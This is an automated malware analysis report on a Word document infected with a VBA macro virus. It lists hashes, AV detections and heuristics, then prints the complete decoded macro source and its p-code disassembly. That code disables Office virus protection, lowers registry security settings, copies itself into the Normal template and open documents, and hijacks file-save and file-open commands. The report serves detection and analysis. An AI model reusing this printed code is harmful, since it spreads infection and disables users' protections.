Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 704169b50eee990e…

MALICIOUS

Office (OLE)

51.5 KB Created: 2001-07-06 16:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 974fbabd567a60880b645dee2fe7ab05 SHA-1: dd292e98cdffc0de40729af454b62dd1055bb4f9 SHA-256: 704169b50eee990ec1282c13c068cc697bef3f1a9fedf1d3c83d675ddc205881
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Document_Open, which are commonly used to execute malicious code upon opening. The script attempts to lower macro security settings and install itself into the Normal template, indicating a persistence mechanism. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Valeria-1' further support its malicious nature.

Heuristics 7

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Call AutoOpen
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31103 bytes
SHA-256: a5b17ddc95bff6068bbc2da77a21554557a69cb7d5fd4af059cb0682b89a0be9
Detection
ClamAV: Doc.Trojan.Valeria-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Project_P"
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
Options.VirusProtection = False
Options.ConfirmConversion = False
Options.SaveNormalPrompt = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Project_P") = "...by AndryOktavia"
Call AutoOpen
End If
Call AutoOpen
End Sub
Public AD As Object
Public NT As Object
Sub AutoOpen()
    On Error GoTo hapus
Dim NT As Object
Call Docurelfgh
CreativE
Call NothingElf
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "Project_P" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "Project_P" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Pad = Options.DefaultFilePath(wdDocumentsPath)
ModuleLength = Doc.VBProject.VBComponents("Project_P").CodeModule.CountOfLines
NT.Save
Doc.VBProject.VBComponents("Project_P").Export Pad + ("\Fax.txt")
ActiveDocument.SaveAs fileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

Label_Exit:
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
'CommandBars("Format").Controls("Style...").Delete
If NormInstall = True Then Call CreativE
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
hapus:
Docurelfgh
End Sub
Sub CreativE()
On Error Resume Next
Options.DefaultFilePath(wdStartupPath) = "C:\Windows"
Options.DefaultFilePath(wdTempFilePath) = "C:\Windows\inf"
Pad1 = Options.DefaultFilePath(wdStartupPath)
MyFile = Dir(Pad1 + "\Fax.dot")
If MyFile = "" Then
Set Adoc = NormalTemplate.OpenAsDocument
With Adoc
    .SaveAs fileName:=Pad1 + "\Fax.dot"
    .Close SaveChanges:=wdDoNotSaveChanges
End With
End If
End Sub
Sub FileSave()
    On Error Resume Next
    Dim Subyectif
    WordBasic.FileSave
    Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
    WordBasic.CurValues.FileSaveAs dlg
    Subyectif = WordBasic.FileSaveAs(dlg)
    If Subyectif Then
        dlg.Format = 1
        WordBasic.FileSaveAs dlg
    End If
    Call AutoOpen
    End Sub
Sub FileClose()
    On Error Resume Next
    Call AutoOpen
    Call NothingElf
    Call Docurelfgh
    If ActiveDocument.Saved = False Then ActiveDocument.Save

    Call AutoOpen
ActiveDocument.Close
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Dim Subyectif
    WordBasic.FileSave
    Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
    WordBasic.CurValues.FileSaveAs (dlg)
    If Subyectif Then
        dlg.Format = 1
        WordBasic.FileSaveAs dlg
    End If
    Call AutoOpen
    End Sub
    Sub FileExit()
    On Error Resume Next
    Call AutoOpen
    NothingElf
    'Docurelfgh

    Call AutoOpen
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub AutoExit()
    On Error Resume Next
    Call AutoOpen
    Call NothingElf
    Call Docurelfgh

End Sub
Sub AutoExec()
On Error GoTo hapus
WordBasic.DisableInput 1
WordBasic.DisableAutoMacros 0
Call NothingElf
Application.EnableCancelKey = wdCancelDisabled
    Call AutoOpen

WBF
AddIns.Unload False
WBF
hapus:
Docurelfgh
End Sub
Sub AutoClose()
    On Error Resume Next
    Call AutoOpen
    NothingElf
    'Docurelfgh
    Project_P
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Project_P
    If System.OperatingSystem = "Windows" Then Call pesen
    If System.OperatingSystem = "Windows" Then Call pesen
    Call pesen
End Sub
Sub FileTemplates()
    On Error Resume Next
    Project_P
    If System.OperatingSystem = "Windows" Then Call pesen
    If System.OperatingSystem = "Windows" Then Call pesen
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Project_P
    If System.OperatingSystem = "Windows" Then Call pesen
    If System.OperatingSystem = "Windows" Then Call pesen
End Sub
Sub FileOpen()
On Error Resume Next
Call AutoOpen
WBT
If Dialogs(80).Show <> 0 Then
Call AutoOpen
Call Docurelfgh
Call NothingElf
'Project_P
Call AutoOpen
WBF
Else
WBF
End If
End Sub
Sub pesen()
msg1 = "This Program Can't Be Removed aaaa"
msg2 = " For More Information please Contact Us"
Msg3 = " http:// www.valerianet.com or E-Mail: andryok@valerianet.com"
MsgBox (msg1 + Chr(10) + msg2 + Chr(10) + Msg3)
End Sub
Sub vote()
Nama1 = "Project_P Security Systemaaa"
Nama2 = "Andry Security Systemaaaa"
msg1 = " Thank you for Using Our Product xxxxxxxxxx "
msg2 = " This Program Under Protected The International Treaty"
Msg3 = "(c) Andry 1999xxxxxxxxxxxx., Alright Reserved.aaaaa "
msg4 = " Thanks "
If Day(Now) = 26 Then MsgBox msg1 + Nama1 + Chr(10) + msg2 + Chr(10) + Msg3 + Nama1, vbInformation, "ValeriaNet Security System"
If Day(Now) = 7 Then MsgBox msg1 + Nama2 + Chr(10) + msg2 + Chr(10) + Msg3 + Nama2, vbInformation, "ValeriaNet Security System"
End Sub
Function Docurelfgh()
    On Error GoTo Erw1
    NorOk = False
    WBT
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh1a
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
      NMacr = NormalTemplate.VBProject.VBComponents(i).Name
      If NMacr = "Project_P" Then NorOk = True
      If (NMacr <> "Project_P") And (NMacr <> "ThisDocument") Then
      MsgBox ("NT.Microsoft Word "), vbInformation, "ValeriaNet Security System"
  Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=NMacr, Object:=wdOrganizerObjectProjectItems

      End If
    Next i
Erh1a:
    If NorOk = False Then
      On Error GoTo Erh1
            Application.OrganizerCopy Source:=ActiveDocument.FullName, _
          Destination:=NormalTemplate.FullName, Name:= _
          "Project_P", Object:=wdOrganizerObjectProjectItems
      Templates(NormalTemplate.FullName).Save
      NormalTemplate.Application.Visible = False
Erh1:
    End If
Erw1:
End Function
Function NothingElf()
    On Error GoTo Erw2
    DokSave = 0
    DocOk = False
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh2a
    For i = 1 To AD.VBProject.VBComponents.Count
      NMacr = AD.VBProject.VBComponents(i).Name
      If NMacr = "Project_P" Then DocOk = True
      'NMacr = NT.VBProject.VBComponents(i).Name
      'If NMacr = "Project_P" Then Docok = True
      If (NMacr <> "Project_P") And _
        (NMacr <> "ThisDocument") And (NMacr <> "Reference to Normal") Then
       MsgBox ("AD. Microsoft Word"), vbInformation, "ValeriaNet Security System"
        Application.OrganizerDelete Source:=AD.FullName, _
          Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next i
Erh2a:
    If DocOk = False Then
      On Error GoTo Erh2
      Application.OrganizerCopy Source:=NT.FullName, _
          Destination:=AD.FullName, Name:= _
          "Project_P", Object:=wdOrganizerObjectProjectItems
      ActiveDocument.ReadOnlyRecommended = False
      ActiveDocument.Save
Erh2:
    End If
Erw2:
End Function
Function WBT()
WordBasic.DisableAutoMacros True
End Function
Function WBF()
WordBasic.DisableAutoMacros False
End Function
Function Cute()
f56879025 = GetAttr(NormalTemplate.FullName)
Application.VBE.ActiveVBProject.VBComponents("Project_P").Export "c:\windows\system\vxd.sys"
If f56879025 = vbReadOnly Then GoTo rewing
If f56879025 = vbReadOnly + vbArchive Then GoTo rewing
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Project_P" Then xxx902578112 = True
Next i
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Project_P" Then mmf78116 = True
Next i
If xxx902578112 = True And mmf78116 = False Then Set o7811902511 = NormalTemplate.VBProject.VBComponents
If xxx902578112 = False And mmf78116 = True Then Set o7811902511 = ActiveDocument.VBProject.VBComponents
o7811902511.Import "c:\windows\system\vxd.sys"
If activeinst = False Then ActiveDocument.SaveAs fileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If mmf78116 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
rewing:
End Function















' Processing file: /tmp/qstore_7811j_1g
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1190 bytes
' Macros/VBA/Project_P - 14758 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #3:
' 	LitVarSpecial (False)
' 	LitStr 0x000B "Security..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #4:
' 	LitDI4 0x0001 0x0000 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #5:
' 	ElseBlock 
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversion 
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' 	LitStr 0x0012 "...by AndryOktavia"
' 	LitStr 0x0000 ""
' 	LitStr 0x002C "HKEY_CURRENT_USER\Software\Microsoft\Office\"
' 	LitStr 0x0009 "Project_P"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #10:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #13:
' 	EndSub 
' Line #14:
' 	Dim (Public) 
' 	VarDefn AD (As Object)
' Line #15:
' 	Dim (Public) 
' 	VarDefn NT (As Object)
' Line #16:
' 	FuncDefn (Sub AutoOpen())
' Line #17:
' 	OnError hapus 
' Line #18:
' 	Dim 
' 	VarDefn NT (As Object)
' Line #19:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #20:
' 	ArgsCall CreativE 0x0000 
' Line #21:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #22:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #23:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #24:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #25:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #26:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #27:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "Project_P"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #28:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #29:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #30:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "Project_P"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ActivInstall 
' 	EndIf 
' Line #31:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #32:
' 	Ld ActivInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo Label_Exit 
' 	EndIf 
' Line #33:
' 	Ld ActivInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set Doc 
' 	EndIf 
' Line #34:
' 	Ld ActivInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set Doc 
' 	EndIf 
' Line #35:
' 	Ld wdDocumentsPath 
' 	Ld Options 
' 	ArgsMemLd DefaultFilePath 0x0001 
' 	St Pad 
' Line #36:
' 	LitStr 0x0009 "Project_P"
' 	Ld Doc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ModuleLength 
' Line #37:
' 	Ld NT 
' 	ArgsMemCall Save 0x0000 
' Line #38:
' 	Ld Pad 
' 	LitStr 0x0008 "\Fax.txt"
' 	Paren 
' 	Add 
' 	LitStr 0x0009 "Project_P"
' 	Ld Doc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #39:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed fileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #40:
' Line #41:
' 	Label Label_Exit 
' Line #42:
' 	LitStr 0x0018 "Templates and Add-Ins..."
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #43:
' 	QuoteRem 0x0000 0x0031 "CommandBars("Format").Controls("Style...").Delete"
' Line #44:
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) CreativE 0x0000 
' 	EndIf 
' Line #45:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #46:
' 	Ld wdAlertsAll 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #47:
' 	Ld wdCancelInterrupt 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #48:
' 	Label hapus 
' Line #49:
' 	ArgsCall Docurelfgh 0x0000 
' Line #50:
' 	EndSub 
' Line #51:
' 	FuncDefn (Sub CreativE())
' Line #52:
' 	OnError (Resume Next) 
' Line #53:
' 	LitStr 0x000A "C:\Windows"
' 	Ld wdStartupPath 
' 	Ld Options 
' 	ArgsMemSt DefaultFilePath 0x0001 
' Line #54:
' 	LitStr 0x000E "C:\Windows\inf"
' 	Ld wdTempFilePath 
' 	Ld Options 
' 	ArgsMemSt DefaultFilePath 0x0001 
' Line #55:
' 	Ld wdStartupPath 
' 	Ld Options 
' 	ArgsMemLd DefaultFilePath 0x0001 
' 	St Pad1 
' Line #56:
' 	Ld Pad1 
' 	LitStr 0x0008 "\Fax.dot"
' 	Add 
' 	ArgsLd Dir 0x0001 
' 	St MyFile 
' Line #57:
' 	Ld MyFile 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #58:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd OpenAsDocument 
' 	Set Adoc 
' Line #59:
' 	StartWithExpr 
' 	Ld Adoc 
' 	With 
' Line #60:
' 	Ld Pad1 
' 	LitStr 0x0008 "\Fax.dot"
' 	Add 
' 	ParamNamed fileName 
' 	ArgsMemCallWith SaveAs 0x0001 
' Line #61:
' 	Ld wdDoNotSaveChanges 
' 	ParamNamed SaveChanges 
' 	ArgsMemCallWith Close 0x0001 
' Line #62:
' 	EndWith 
' Line #63:
' 	EndIfBlock 
' Line #64:
' 	EndSub 
' Line #65:
' 	FuncDefn (Sub FileSave())
' Line #66:
' 	OnError (Resume Next) 
' Line #67:
' 	Dim 
' 	VarDefn Subyectif
' Line #68:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #69:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #70:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #71:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	St Subyectif 
' Line #72:
' 	Ld Subyectif 
' 	IfBlock 
' Line #73:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #74:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #75:
' 	EndIfBlock 
' Line #76:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #77:
' 	EndSub 
' Line #78:
' 	FuncDefn (Sub FileClose())
' Line #79:
' 	OnError (Resume Next) 
' Line #80:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #81:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #82:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #83:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #84:
' Line #85:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #86:
' 	Ld ActiveDocument 
' 	ArgsMemCall Close 0x0000 
' Line #87:
' 	EndSub 
' Line #88:
' 	FuncDefn (Sub FileSaveAs())
' Line #89:
' 	OnError (Resume Next) 
' Line #90:
' 	Dim 
' 	VarDefn Subyectif
' Line #91:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #92:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #93:
' 	Ld dlg 
' 	Paren 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #94:
' 	Ld Subyectif 
' 	IfBlock 
' Line #95:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #96:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #97:
' 	EndIfBlock 
' Line #98:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #99:
' 	EndSub 
' Line #100:
' 	FuncDefn (Sub FileExit())
' Line #101:
' 	OnError (Resume Next) 
' Line #102:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #103:
' 	ArgsCall NothingElf 0x0000 
' Line #104:
' 	QuoteRem 0x0004 0x000A "Docurelfgh"
' Line #105:
' Line #106:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #107:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #108:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #109:
' 	EndSub 
' Line #110:
' 	FuncDefn (Sub AutoExit())
' Line #111:
' 	OnError (Resume Next) 
' Line #112:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #113:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #114:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #115:
' Line #116:
' 	EndSub 
' Line #117:
' 	FuncDefn (Sub AutoExec())
' Line #118:
' 	OnError hapus 
' Line #119:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DisableInput 0x0001 
' Line #120:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #121:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #122:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #123:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #124:
' Line #125:
' 	ArgsCall WBF 0x0000 
' Line #126:
' 	LitVarSpecial (False)
' 	Ld AddIns 
' 	ArgsMemCall Unlock 0x0001 
' Line #127:
' 	ArgsCall WBF 0x0000 
' Line #128:
' 	Label hapus 
' Line #129:
' 	ArgsCall Docurelfgh 0x0000 
' Line #130:
' 	EndSub 
' Line #131:
' 	FuncDefn (Sub AutoClose())
' Line #132:
' 	OnError (Resume Next) 
' Line #133:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #134:
' 	ArgsCall NothingElf 0x0000 
' Line #135:
' 	QuoteRem 0x0004 0x000A "Docurelfgh"
' Line #136:
' 	ArgsCall Project_P 0x0000 
' Line #137:
' 	EndSub 
' Line #138:
' 	FuncDefn (Sub ToolsMacro())
' Line #139:
' 	OnError (Resume Next) 
' Line #140:
' 	ArgsCall Project_P 0x0000 
' Line #141:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #142:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #143:
' 	ArgsCall (Call) pesen 0x0000 
' Line #144:
' 	EndSub 
' Line #145:
' 	FuncDefn (Sub FileTemplates())
' Line #146:
' 	OnError (Resume Next) 
' Line #147:
' 	ArgsCall Project_P 0x0000 
' Line #148:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #149:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #150:
' 	EndSub 
' Line #151:
' 	FuncDefn (Sub ViewVBCode())
' Line #152:
' 	OnError (Resume Next) 
' Line #153:
' 	ArgsCall Project_P 0x0000 
' Line #154:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #155:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #156:
' 	EndSub 
' Line #157:
' 	FuncDefn (Sub FileOpen())
' Line #158:
' 	OnError (Resume Next) 
' Line #159:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #160:
' 	ArgsCall WBT 0x0000 
' Line #161:
' 	LitDI2 0x0050 
' 	ArgsLd Dialogs 0x0001 
' 	MemLd Show 
' 	LitDI2 0x0000 
' 	Ne 
' 	IfBlock 
' Line #162:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #163:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #164:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #165:
' 	QuoteRem 0x0000 0x0009 "Project_P"
' Line #166:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #167:
' 	ArgsCall WBF 0x0000 
' Line #168:
' 	ElseBlock 
' Line #169:
' 	ArgsCall WBF 0x0000 
' Line #170:
' 	EndIfBlock 
' Line #171:
' 	EndSub 
' Line #172:
' 	FuncDefn (Sub pesen())
' Line #173:
' 	LitStr 0x0022 "This Program Can't Be Removed aaaa"
' 	St msg1 
' Line #174:
' 	LitStr 0x0027 " For More Information please Contact Us"
' 	St msg2 
' Line #175:
' 	LitStr 0x003D " http:// www.valerianet.com or E-Mail: andryok@valerianet.com"
' 	St Msg3 
' Line #176:
' 	Ld msg1 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Ld msg2 
' 	Add 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Ld Msg3 
' 	Add 
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #177:
' 	EndSub 
' Line #178:
' 	FuncDefn (Sub vote())
' Line #179:
' 	LitStr 0x001C "Project_P Security Systemaaa"
' 	St Nama1 
' Line #180:
' 	LitStr 0x0019 "Andry Security Systemaaaa"
' 	St Nama2 
' Line #181:
' 	LitStr 0x002C " Thank you for Using Our Product xxxxxxxxxx "
' 	St msg1 
' Line #182:
' 	LitStr 0x0036 " This Program Under Protected The International Treaty"
' 	St msg2 
' Line #183:
' 	LitStr 0x0034 "(c) Andry 1999xxxxxxxxxxxx., Alright Reserved.aaaaa "
' 	St Msg3 
' Line #184:
' 	LitStr 0x0008 " Thanks "
' 	St msg4 
' Line #185:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x001A 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld msg1 
' 	Ld Nama1 
' 	Add 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Ld msg2 
' 	Add 
' 	LitDI2 0x000A 
…

Open this report in the interactive analyzer, or submit your own file for analysis.